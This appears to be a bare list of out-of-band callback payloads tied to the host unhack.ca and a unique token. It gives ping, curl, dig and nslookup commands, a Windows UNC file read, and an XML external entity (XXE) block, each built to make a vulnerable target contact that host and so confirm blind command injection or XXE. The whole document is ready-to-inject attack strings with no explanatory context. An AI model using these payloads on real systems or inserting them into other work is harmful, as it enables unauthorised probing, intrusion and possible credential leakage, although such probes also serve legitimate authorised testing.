$ ping -c1 -p 00d727f994e3f8c36111c6fc163a4400 unhack.ca
 

$ curl http://unhack.ca/p/d727f994e3f8c36111c6fc163a44
 

$ dig d727f994e3f8c36111c6fc163a44 @unhack.ca
 

$ dig d727f994e3f8c36111c6fc163a44.ns.unhack.ca
 

C:\> nslookup d727f994e3f8c36111c6fc163a44 unhack.ca
 

C:\> type \\unhack.ca\d727f994e3f8c36111c6fc163a44\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d727f994e3f8c36111c6fc163a44">]>
    <foo>&xxe;</foo>